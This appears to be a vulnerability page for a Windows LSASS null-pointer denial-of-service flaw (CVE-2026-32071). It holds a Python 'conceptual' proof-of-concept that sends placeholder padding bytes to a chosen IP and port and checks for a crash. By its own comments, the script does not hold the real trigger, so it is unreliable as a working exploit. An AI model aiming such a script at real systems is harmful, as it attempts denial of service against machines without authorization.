CVE-2026-32071 Windows LSASS空指针解引用拒绝服务漏洞

#!/usr/bin/env python3 # Conceptual Proof of Concept for CVE-2026-32071 # Note: This is a conceptual demonstration. Actual trigger bytes are not disclosed. import socket import sys def send_exploit(target_ip, target_port): try: print(f"[+] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Placeholder payload structure designed to trigger Null Pointer Dereference # The actual malicious packet structure would reverse-engineer the LSASS RPC call. header = b"\x00\x00\x00\x00" junk = b"\x41" * 0x100 # Buffer padding payload = header + junk print(f"[+] Sending payload ({len(payload)} bytes)...") s.send(payload) print("[+] Payload sent. Check if target service crashed.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve_2026_32071_poc.py <IP> <PORT>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port)